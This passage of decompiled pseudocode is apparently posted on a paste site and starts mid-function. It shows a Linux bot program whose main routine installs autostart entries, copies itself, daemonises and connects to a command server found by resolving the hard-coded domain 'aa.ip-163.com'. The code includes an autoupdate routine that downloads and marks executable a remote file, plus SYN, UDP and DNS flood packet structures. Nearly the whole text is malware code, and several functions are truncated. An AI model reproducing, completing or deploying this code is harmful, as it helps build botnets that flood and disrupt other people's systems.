- _t75 = L0806E770(__esp, __eflags, _v16);
- L0806F9E0(__edi, __esi, web, _v16, _t75);
- goto L10;
- }
- _t96 = L0806E770(__esp, _t130, _v16);
- *__esp = _v12;
- _t98 = L0806E770(__esp, _t130);
- L0806F9E0(__edi, __esi, web, _v16, _t96 - _t98);
- _t131 = _v12 + 1;
- if(_v12 + 1 == 0) {
- goto L9;
- } else {
- _t106 = L0806E770(__esp, _t131, _v12);
- L0806F9E0(__edi, __esi, file, _v12 + 1, _t106 - 1);
- *__esp = _v12;
- _t112 = L0806E770(__esp, _t131);
- *(_t112 - 1 + file) = 0;
- goto L10;
- }
- L10:
- _t132 = _v12;
- if(_v12 == 0) {
- _t80 = L0806E770(__esp, __eflags, _v16);
- *(_t80 + web) = 0;
- } else {
- _t90 = L0806E770(__esp, _t132, _v16);
- *__esp = _v12;
- _t92 = L0806E770(__esp, _t132);
- *(_t90 - _t92 + web) = 0;
- }
- _t83 = L0806E360(__esp, web, 58);
- _v16 = _t83;
- if(_v16 == 0) {
- *port = 80;
- return;
- }
- _t86 = &(_v16[1]);
- L0805D6A0(_t86);
- *port = _t86;
- *_v16 = 0;
- return;
- L9:
- goto L10;
- L4:
- _v16 = &(src[8]);
- goto L5;
- }
- int autoupdate(char* url_address, char* local_to_file)
- {// addr = 0x0804D64E
- int sockfd;
- char[1023] buffer;
- struct sockaddr_in server_addr;
- struct hostent* host;
- int portnumber;
- int nbytes;
- char[255] host_addr;
- char[1023] host_file;
- char[255] local_file;
- FILE* fp;
- char[1023] request;
- int send;
- int totalsend;
- int i;
- char* pt;
- fd_set rsetfds;
- struct timeval tv;
- int __d0;
- int __d1;
- int nOnline;
- char __result;
- signed int _v16;
- intOrPtr _v20;
- int _v24;
- signed int _v28;
- signed int _v32;
- int _v36;
- int _v40;
- char* _v44;
- intOrPtr _v48;
- signed int _v52;
- char* _v56;
- signed int _v1080;
- intOrPtr _v1092;
- short _v1094;
- char _v1096;
- signed int _v1100;
- char _v1356;
- signed int _v2380;
- char _v2636;
- char _v3660;
- char _v3788;
- int _v3792;
- char _v3796;
- int _v3808;
- signed int _v3820;
- char* _v3824;
- int _v3828;
- char* _v3832;
- _unknown_ r6;
- signed int _t163;
- short _t167;
- _unknown_ _t174;
- _unknown_ _t181;
- _unknown_ _t184;
- intOrPtr _t186;
- int _t193;
- char* _t197;
- _unknown_ _t198;
- _unknown_ _t199;
- _unknown_ _t202;
- signed int _t206;
- _unknown_ _t209;
- intOrPtr _t213;
- _unknown_ _t217;
- intOrPtr* _t225;
- _unknown_ _t229;
- _unknown_ _t235;
- _unknown_ _t239;
- _unknown_ _t246;
- char* _t248;
- intOrPtr* _t249;
- intOrPtr* _t251;
- intOrPtr* _t253;
- _unknown_ _t255;
- _unknown_ _t256;
- _unknown_ _t258;
- _unknown_ _t259;
- _unknown_ _t264;
- _unknown_ _t267;
- _unknown_ _t271;
- char* _t272;
- GetHost(url_address, &_v1356, &_v2380, &_v1100);
- L0805FF20("webhost:[%s]\n", &_v1356);
- L0805FF20("hostfile:[%s]\n", &_v2380);
- L0805FF20("portnumber:[%d]\n\n", _v1100);
- _t163 = &_v1356;
- L08075250(_t163);
- _v52 = _t163;
- __eflags = _v52;
- if(_v52 != 0) {
- _v3828 = 0;
- L08073680(_t255, __esp, 2, 1);
- _v56 = _t163;
- __eflags = _v56 - 255;
- if(_v56 != 255) {
- L0806F910( &_v1096, 16);
- _v1096 = 2;
- *__esp = _v1100 & 65535;
- _t167 = L08075240(__esp);
- _v1094 = _t167;
- _v1092 = *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v52 + 16))))));
- _v3828 = 16;
- _t174 = L08052AA0(__esi, _v56, &_v1096);
- __eflags = _t174 - 255;
- if(_t174 != 255) {
- _v3820 = _v1100;
- _v3824 = &_v1356;
- L0805FF50( &_v3660, "GET /%s HTTP/1.1
- \nAccept: */*
- \nAccept-Language: zh-cn
- \nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
- \nHost: %s:%d
- \nConnection: Close
- \n
- \n", &_v2380);
- __eflags = _v2380 & 255;
- if((_v2380 & 255) == 0) {
- _v28 = 0;
- }
- L9:
- L0806F850(_t255, _t271, __esi, &_v2636, 0, 256);
- __eflags = _v28;
- if(_v28 == 0) {
- L15:
- __eflags = _v2380 & 255;
- if((_v2380 & 255) == 0) {
- L0806F9E0(_t271, __esi, &_v2636, "index.html", 11);
- goto L18;
- } else {
- goto L16;
- }
- goto L18;
- }
- __eflags = *_v28 & 255;
- if(( *_v28 & 255) == 0) {
- goto L15;
- }
- __eflags = _v28 + 1;
- if(__eflags == 0) {
- L14:
- _t235 = L0806E770(__esp, __eflags, &_v2380);
- L0806F9E0(_t271, __esi, &_v2636, &_v2380, _t235 - 1);
- goto L18;
- }
- __eflags = *(_v28 + 1) & 255;
- if(__eflags == 0) {
- goto L14;
- }
- L0806E520( &_v2636, _v28 + 1);
- L18:
- _v40 = 0;
- _v36 = 0;
- *__esp = &_v3660;
- _t186 = L0806E770(__esp, __eflags);
- _v48 = _t186;
- while(1) {
- __eflags = _v36 - _v48;
- if(_v36 >= _v48) {
- break;
- }
- _t193 = L08052990(_v56, &_v3660 + _v36, _v48 - _v36);
- _v40 = _t193;
- __eflags = _v40 - 255;
- if(_v40 != 255) {
- _v36 = _v36 + _v40;
- continue;
- }
- _v3808 = 1;
- return _v3808;
- }
- L08071740(_t255, __esp, local_to_file);
- _v3832 = "a";
- _t197 = local_to_file;
- *__esp = _t197;
- L08060B50();
- _v44 = _t197;
- __eflags = _v44;
- if(_v44 != 0) {
- _v32 = 0;
- _v3796 = 3;
- _v3792 = 0;
- _t272 = &_v3788;
- asm("cld ");
- _push(32 << 2);
- _push(0);
- _push(_t272);
- memset();
- __esp = &(__esp[3]);
- _t273 = _t272 + 32;
- _v24 = 0;
- _v20 = _t272 + 32;
- asm("bts [ebp+edx*4+0xfffff138], eax");
- while(1) {
- L27:
- L08061340(0, _t273, __esi, "start");
- _v3820 = &_v3796;
- _v3824 = 0;
- _v3828 = &_v3788;
- _t206 = &_v3788;
- _v3832 = _t206;
- *__esp = &(_v56[1]);
- L08071940();
- _v16 = _t206;
- __eflags = _v16;
- if(_v16 == 0) {
- break;
- }
- __eflags = _v16;
- if(_v16 >= 0) {
- __eflags = _v16;
- if(__eflags == 0) {
- L34:
- _v3808 = 1;
- return _v3808;
- } else {
- goto L31;
- }
- goto L31;
- L35:
- __eflags = _v32 - 3;
- if(_v32 > 3) {
- L40:
- L08060D80(0, _t273, __esi, &_v1080, 1, 1, _v44);
- _v32 = _v32 + 1;
- __eflags = _v32 & 1023;
- if((_v32 & 1023) != 0) {
- goto L26;
- } else {
- goto L41;
- }
- continue;
- }
- __eflags = (_v1080 & 255) - 13;
- if((_v1080 & 255) == 13) {
- L38:
- _v32 = _v32 + 1;
- continue;
- }
- __eflags = (_v1080 & 255) - 10;
- if((_v1080 & 255) != 10) {
- _v32 = 0;
- continue;
- } else {
- goto L38;
- }
- goto L38;
- L41:
- *__esp = _v44;
- L08060770();
- continue;
- } else {
- break;
- }
- break;
- L31:
- asm("bt [ebp+eax*4+0xfffff138], edx");
- __eflags = __eflags > 0;
- if(__eflags == 0) {
- goto L34;
- }
- L08061340(0, _t273, __esi, "aaa");
- _v3828 = 1;
- _v3832 = &_v1080;
- *__esp = _v56;
- _t213 = L080529F0();
- _v48 = _t213;
- __eflags = _v48 - 1;
- if(_v48 != 1) {
- L08061340(0, _t273, __esi, "bbbbb");
- _v3832 = 493;
- *__esp = local_to_file;
- L08071470(0, __esp);
- L08060220(_v44);
- *__esp = _v56;
- L08052A50();
- _v3808 = 0;
- return _v3808;
- }
- goto L35;
- return _v3808;
- goto L35;
- }
- L08061340(0, _t273, __esi, "update over time
- ");
- _v3808 = 1;
- return _v3808;
- }
- _t225 = L08053180();
- L0806E5A0(_t271, __esi, *_t225);
- L0805FF20("create file error! %s\n", *_t225);
- _v3808 = 1;
- return _v3808;
- L26:
- goto L27;
- L16:
- L0806E520( &_v2636, &_v2380);
- goto L18;
- } else {
- goto L5;
- }
- goto L5;
- L7:
- _t248 = Rstrchr( &_v2380, 47);
- _v28 = _t248;
- goto L9;
- } else {
- goto L3;
- }
- goto L3;
- L5:
- _t249 = L08053180();
- L0806E5A0(_t271, __esi, *_t249);
- L0805FEF0( *135203140, 135043559, *_t249);
- _v3808 = 1;
- return _v3808;
- }
- _t253 = L08053180();
- L0806E5A0(_t271, __esi, *_t253);
- L0805FEF0( *135203140, "Gethostname error, %s\n", *_t253);
- _v3808 = 1;
- return _v3808;
- L3:
- _t251 = L08053180();
- L0806E5A0(_t271, __esi, *_t251);
- L0805FEF0( *135203140, 135043541, *_t251);
- _v3808 = 1;
- return _v3808;
- }
- int get_online_ip(char* domain, char* return_ip)
- {// addr = 0x0804DBFA
- int i;
- int _v8;
- int _v36;
- _unknown_ _v40;
- _unknown_ r6;
- int _t9;
- unsigned int _t11;
- struct in_addr _t12;
- int _t15;
- _unknown_ _t17;
- _t9 = __eax;
- _v8 = 0;
- _v36 = 0;
- L08073680(__ebx, __esp, 2, 2);
- socketfd = _t9;
- if(socketfd < 0) {
- *__esp = "create socket failed";
- L08060060();
- *__esp = -1;
- L0805E0C0();
- }
- L0806F910( &dest, 16);
- dest.sin_family = 2;
- *__esp = 53;
- _t11 = L08075240(__esp);
- dest.sin_port.s_addr = _t11;
- _t12 = L08073B40("8.8.8.8");
- dest.sin_addr = _t12;
- send_dns_request(domain);
- _t15 = parse_dns_response(return_ip);
- _v8 = _t15;
- *__esp = socketfd;
- L08052A50();
- return _v8;
- }
- int parse_dns_response(char* return_ip)
- {// addr = 0x0804DCB4
- unsigned char[1023] buf;
- unsigned char* ptr;
- struct sockaddr_in addr;
- int n;
- int i;
- int flag;
- int querys;
- int answers;
- int type;
- int ttl;
- int datalen;
- int len;
- char[127] cname;
- char[127] aname;
- char[19] ip;
- unsigned char[3] netip;
- size_t addr_len;
- fd_set rsetfds;
- struct timeval tv;
- int nOnline;
- int __d0;
- int __d1;
- intOrPtr _v16;
- int _v20;
- signed int _v24;
- signed int _v28;
- intOrPtr _v32;
- signed int _v36;
- signed int _v40;
- signed int _v44;
- signed int _v48;
- int _v52;
- intOrPtr _v56;
- unsigned char* _v60;
- unsigned char _v1084;
- char _v1100;
- int _v1104;
- char _v1232;
- char _v1360;
- char _v1380;
- char _v1384;
- char _v1388;
- char _v1516;
- int _v1520;
- char _v1524;
- int _v1536;
- char* _v1544;
- char* _v1548;
- int _v1552;
- int _v1556;
- signed int _v1560;
- _unknown_ r6;
- _unknown_ _t123;
- _unknown_ _t127;
- signed int _t130;
- intOrPtr _t133;
- signed short _t137;
- signed short _t142;
- signed short _t159;
- intOrPtr _t163;
- signed short _t167;
- _unknown_ _t174;
- _unknown_ _t177;
- _unknown_ _t179;
- _unknown_ _t182;
- _unknown_ _t191;
- _unknown_ _t192;
- _unknown_ _t193;
- _unknown_ _t197;
- char* _t200;
- _v60 = &_v1084;
- _v1388 = 16;
- _v1524 = 3;
- _v1520 = 0;
- __ebx = 0;
- _t200 = &_v1516;
- asm("cld ");
- _push(32 << 2);
- _push(__ebx);
- _push(_t200);
- memset();
- __esp = &(__esp[3]);
- _t201 = _t200 + 32;
- _v20 = 0;
- _v16 = _t200 + 32;
- asm("bts [ebp+edx*4+0xfffffa18], eax");
- _v1548 = &_v1524;
- _v1552 = 0;
- _v1556 = 0;
- _t130 = &_v1516;
- _v1560 = _t130;
- *__esp = socketfd + 1;
- L08071940();
- _v24 = _t130;
- __eflags = _v24;
- if(_v24 > 0) {
- L08061340(__ebx, _t201, __esi, "+ dns right!!");
- _v1544 = &_v1388;
- _v1548 = &_v1100;
- _v1552 = 0;
- _v1556 = 1024;
- _t133 = L08052B60(__esi, socketfd, &_v1084);
- _v56 = _t133;
- _v60 = &(_v60[4]);
- *__esp = *_v60 & 65535 & 65535;
- _t137 = L08075240(__esp);
- _v44 = _t137 & 65535;
- _v60 = &(_v60[2]);
- *__esp = *_v60 & 65535 & 65535;
- _t142 = L08075240(__esp);
- _v40 = _t142 & 65535;
- _v60 = &(_v60[6]);
- _v52 = 0;
- while(1) {
- __eflags = _v52 - _v44;
- if(_v52 >= _v44) {
- break;
- } else {
- goto L4;
- }
- while(1) {
- L4:
- _v48 = *_v60 & 255 & 255;
- _v60 = &(_v60[_v48 + 1]);
- __eflags = _v48;
- if(_v48 == 0) {
- break;
- } else {
- goto L3;
- }
- goto L3;
- }
- _v60 = &(_v60[4]);
- _v52 = _v52 + 1;
- }
- _v52 = 0;
- while(1) {
- __eflags = _v52 - _v40;
- if(_v52 >= _v40) {
- break;
- }
- L0806F910( &_v1360, 128);
- _v1104 = 0;
- parse_dns_name( &_v1084, _v60, &_v1360, &_v1104);
- _v60 = &(_v60[2]);
- *__esp = *_v60 & 65535 & 65535;
- _t159 = L08075240(__esp);
- _v36 = _t159 & 65535;
- _v60 = &(_v60[4]);
- *__esp = *_v60;
- _t163 = L08075230(__esp);
- _v32 = _t163;
- _v60 = &(_v60[4]);
- *__esp = *_v60 & 65535 & 65535;
- _t167 = L08075240(__esp);
- _v28 = _t167 & 65535;
- _v60 = &(_v60[2]);
- __eflags = _v36 - 5;
- if(_v36 == 5) {
- L0806F910( &_v1232, 128);
- _v1104 = 0;
- parse_dns_name( &_v1084, _v60, &_v1232, &_v1104);
- _v60 = &(_v60[_v28]);
- }
- __eflags = _v36 - 1;
- if(_v36 != 1) {
- L14:
- _v52 = _v52 + 1;
- continue;
- }
- L0806F910( &_v1380, 20);
- __eflags = _v28 - 4;
- if(_v28 != 4) {
- _v60 = &(_v60[_v28]);
- goto L14;
- }
- L0806F9E0(_t201, __esi, &_v1384, _v60, _v28);
- L08073CB0( ?_? ( &_v1384), 2, &_v1384, &_v1380, 16);
- *__esp = &_v1380;
- _t179 = L0806E770(__esp, __eflags);
- L0806F9E0(_t201, __esi, return_ip, &_v1380, _t179);
- _v1536 = 1;
- return _v1536;
- }
- _v60 = &(_v60[2]);
- _v1536 = 0;
- return _v1536;
- }
- L08061340(__ebx, _t201, __esi, "- dns over time!");
- *__esp = socketfd;
- L08052A50();
- _v1536 = 0;
- return _v1536;
- L3:
- goto L4;
- }
- parse_dns_name(unsigned char* chunk, unsigned char* ptr, char* out, int* len)
- {// addr = 0x0804E008
- int n;
- int flag;
- char* pos;
- char* _v8;
- int _v12;
- signed int _v16;
- _unknown_ _v32;
- _unknown_ _v36;
- _unknown_ _v40;
- _unknown_ r6;
- int _t52;
- _unknown_ _t56;
- _unknown_ _t65;
- _v8 = &(out[ *len]);
- while(1) {
- _v12 = *ptr & 255 & 255;
- if(_v12 == 0) {
- break;
- }
- _t52 = is_pointer(_v12);
- if(_t52 == 0) {
- ptr = &(ptr[1]);
- L0806F9E0(__edi, __esi, _v8, ptr, _v12);
- _v8 = &(_v8[_v12]);
- ptr = &(ptr[_v12]);
- *len = *len + _v12;
- if(( *ptr & 255) == 0) {
- continue;
- } else {
- goto L6;
- }
- continue;
- }
- _v16 = (ptr[1]) & 255 & 255;
- ptr = &(chunk[_v16]);
- parse_dns_name(chunk, ptr, out, len);
- return;
- L6:
- L0806F9E0(__edi, __esi, _v8, ".", 1);
- _v8 = &(_v8[1]);
- *len = *len + 1;
- }
- return ;
- }
- int is_pointer(int in)
- {// addr = 0x0804E0F6
- _unknown_ r6;
- return (in & 192) == 192 & 255;
- }
- send_dns_request(const char* dns_name)
- {// addr = 0x0804E10E
- unsigned char[255] request;
- unsigned char* ptr;
- unsigned char[127] question;
- int question_len;
- short* _v12;
- char _v268;
- char _v396;
- intOrPtr _v400;
- intOrPtr _v424;
- struct sockaddr_in* _v428;
- intOrPtr _v432;
- intOrPtr _v436;
- _unknown_ _v440;
- _unknown_ r1;
- _unknown_ r6;
- intOrPtr _t45;
- intOrPtr _t46;
- intOrPtr _t47;
- _unknown_ _t54;
- _unknown_ _t59;
- _v12 = &_v268;
- generate_question(dns_name, &_v396, &_v400);
- *__esp = 65280;
- _t45 = L08075240(__esp);
- *_v12 = _t45;
- _v12 = _v12 + 2;
- *__esp = 256;
- _t46 = L08075240(__esp);
- *_v12 = _t46;
- _v12 = _v12 + 2;
- *__esp = 1;
- _t47 = L08075240(__esp);
- *_v12 = _t47;
- _v12 = _v12 + 2;
- *_v12 = 0;
- _v12 = _v12 + 2;
- *_v12 = 0;
- _v12 = _v12 + 2;
- *_v12 = 0;
- _v12 = _v12 + 2;
- L0806F9E0(__edi, __esi, _v12, &_v396, _v400);
- _v12 = _v12 + _v400;
- _v424 = 16;
- _v428 = &dest;
- _v432 = 0;
- _v436 = _v400 + 12;
- L08052C20(__esi, socketfd, &_v268);
- return;
- }
- generate_question(const char* dns_name, unsigned char* buf, int* len)
- {// addr = 0x0804E215
- char* pos;
- unsigned char* ptr;
- int n;
- _unknown_ _v12;
- unsigned char* _v16;
- const char* _v20;
- _unknown_ _v28;
- intOrPtr _v32;
- _unknown_ _v36;
- intOrPtr _v40;
- _unknown_ r1;
- _unknown_ r6;
- _unknown_ _t53;
- intOrPtr _t58;
- _unknown_ _t60;
- _unknown_ _t68;
- _unknown_ _t75;
- _unknown_ _t82;
- _unknown_ _t86;
- _unknown_ _t91;
- _unknown_ _t92;
- _unknown_ _t101;
- *len = 0;
- _v16 = buf;
- _v20 = dns_name;
- while(1) {
- _t58 = L0806E770(__esp, _t101, _v20);
- _v32 = _t58;
- _v40 = 46;
- *__esp = _v20;
- _t60 = L0806E360(__esp);
- _t102 = _t60;
- if(_t60 == 0) {
- goto L3;
- } else {
- goto L2;
- }
- }
- }
- connect_to_server()
- {// addr = 0x0804E349
- fd_set rsetfds;
- struct timeval tv;
- struct hostent* szhost;
- struct sockaddr_in sockSevaddr;
- long unsigned int ul;
- pthread_t tRecvID;
- LOGINPACK LoginPack;
- int ret;
- int numsend;
- int opt;
- int keep_alive;
- int keep_idle;
- int keep_interval;
- int keep_count;
- double szCPUMhz;
- int nOnline;
- int __d0;
- int __d1;
- char __result;
- int iDataNum;
- int tuzi_i;
- int nAttackType;
- int nSyn;
- SYNPACKET lpSynPacket;
- int nSyn;
- SYNPACKET lpSynPacket;
- int nSyn;
- SYNPACKET lpSynPacket;
- int nSyn;
- SYNPACKET lpSynPacket;
- int nDns;
- DNSPACKET lpDnsPacket;
- int nUdp;
- UDPPACKET lpUdpPacket;
- DNSPACKET lpDnsPacket;
- int flag;
- int nDns;
- MOREDNSPACKET lpDnsPacket;
- int nDns;
- SYNPACKET_NUM lpSynPacket;
- int nDns;
- SYNPACKET_NUM lpSynPacket;
- _unknown_ _v56;
- _unknown_ _v60;
- _unknown_ _v64;
- _unknown_ _v68;
- _unknown_ _v72;
- _unknown_ _v88;
- _unknown_ _v92;
- intOrPtr _v96;
- int _v100;
- _unknown_ _v228;
- int _v232;
- intOrPtr _v236;
- _unknown_ _v248;
- _unknown_ _v250;
- _unknown_ _v252;
- _unknown_ _v256;
- _unknown_ _v260;
- _unknown_ _v264;
- _unknown_ _v268;
- _unknown_ _v272;
- _unknown_ _v276;
- _unknown_ _v280;
- char _v412;
- _unknown_ _v1824;
- _unknown_ _v1836;
- _unknown_ _v1840;
- _unknown_ _v1844;
- _unknown_ _v1848;
- char* _t130;
- _unknown_ _t132;
- _unknown_ _t134;
- int _t136;
- _unknown_ _t138;
- _unknown_ _t144;
- _unknown_ _t147;
- _unknown_ _t155;
- _unknown_ _t158;
- _unknown_ _t163;
- _unknown_ _t165;
- _unknown_ _t166;
- _unknown_ _t169;
- _unknown_ _t170;
- _unknown_ _t174;
- _unknown_ _t178;
- _unknown_ _t181;
- _unknown_ _t183;
- _unknown_ _t185;
- _unknown_ _t193;
- _unknown_ _t197;
- _unknown_ _t201;
- _unknown_ _t203;
- _unknown_ _t205;
- _unknown_ _t207;
- _unknown_ _t209;
- _unknown_ _t211;
- _unknown_ _t212;
- _unknown_ _t213;
- _unknown_ _t214;
- _unknown_ _t215;
- _unknown_ _t225;
- _unknown_ _t228;
- _unknown_ _t229;
- _unknown_ _t231;
- _v236 = 3;
- _v232 = 0;
- L0806CA00(_t230, __esi, 50);
- on_line_ip = _t130;
- while(1) {
- L08061340(__ebx, _t230, __esi, "===== start =====");
- _v100 = 0;
- _v96 = 1;
- L0806F850(__ebx, _t230, __esi, &_v412, 0, 132);
- L0806F850(__ebx, _t230, __esi, on_line_ip, 0, 50);
- hCSockft = 0;
- _t136 = get_online_ip("aa.ip-163.com", on_line_ip);
- if(_t136 == 0) {
- goto L5;
- } else {
- goto L2;
- }
- }
- }
- int main(int argc, char** argv)
- {// addr = 0x0804F128
- pthread_t tConnID;
- char _v20;
- _unknown_ _v36;
- _unknown_ _v40;
- _unknown_ _v44;
- int _t12;
- _unknown_ _t13;
- _unknown_ _t16;
- _unknown_ _t17;
- _unknown_ _t19;
- _unknown_ _t20;
- __ecx = &argc;
- __esp = __esp & 240;
- _push( *((intOrPtr*)(__ecx - 4)));
- _push(_t19);
- _push(_t17);
- _push(__ecx);
- __esp = __esp - 32;
- _t18 = __ecx;
- init_globel();
- autostart(135044260);
- autostart(135044264);
- autostart("sendmail");
- copy_myself( *(__ecx[1]));
- _t12 = daemon_init();
- if(_t12 == 255) {
- *__esp = 0;
- L0805E0C0();
- }
- L08072500(__esi, 0, 0);
- _t13 = L0805D530(_t12, _t18, 15, sig_term);
- L080701B0(0);
- L0805E610(_t13);
- L0804FC20(_t18, __esi, &_v20, 0, connect_to_server, 0);
- update_program_pid();
- while(1) {
- L08070250(5);
- decide_pid();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement